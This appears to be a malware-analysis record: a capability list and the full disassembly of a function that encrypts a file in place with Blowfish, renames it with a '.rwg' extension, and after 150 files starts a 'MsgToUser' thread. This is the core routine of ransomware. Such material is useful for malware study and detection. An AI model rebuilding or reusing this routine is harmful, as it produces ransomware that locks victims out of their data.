Function at 0x401e14
Capabilities:
Create thread
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov eax, 0x1194
call fcn.00403700
sub esp, eax
mov dword [esp], str.Test4.1
call sym._printf
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x1070]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 8
mov dword [esp], str._0___
call dbg.blowfish_setup
cmp eax, 1
je 0x40216c
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0xc0000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x40216f
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401f06
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x402170
mov eax, dword [ebp - 0xc]
and eax, 7
test eax, eax
je 0x401f1c
mov eax, dword [ebp - 0xc]
and eax, 0xfffffff8
add eax, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sym._GlobalAlloc_8
sub esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sym._GlobalAlloc_8
sub esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x14], 0
je 0x401f5a
cmp dword [ebp - 0x18], 0
jne 0x401f6d
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x402170
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x24]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
test eax, eax
jne 0x401fcb
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._GlobalFree_4
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._GlobalFree_4
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x402170
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._SetFilePointer_16
sub esp, 0x10
mov dword [ebp - 0x10], 0
jmp 0x402025
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
lea ecx, [edx + eax]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
add edx, eax
lea eax, [ebp - 0x1070]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dbg.blowfish_ecb_encrypt
add dword [ebp - 0x10], 8
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jb 0x401ffa
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
test eax, eax
jne 0x40208b
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._GlobalFree_4
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._GlobalFree_4
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x402170
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._GlobalFree_4
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._GlobalFree_4
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1174]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x1174]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x1174]
add eax, edx
mov dword [eax], 0x6777722e
mov byte [eax + 4], 0
lea eax, [ebp - 0x1174]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._MoveFileA_8
sub esp, 8
mov eax, dword [0x40a020]
add eax, 1
mov dword [0x40a020], eax
mov eax, dword [0x40a020]
cmp eax, 0x96
jbe 0x402170
lea eax, [ebp - 0x28]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], dbg.MsgToUser@4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [0x40a020], 0
jmp 0x402170
nop
jmp 0x402170
nop
mov edi, dword [ebp - 4]
leave
ret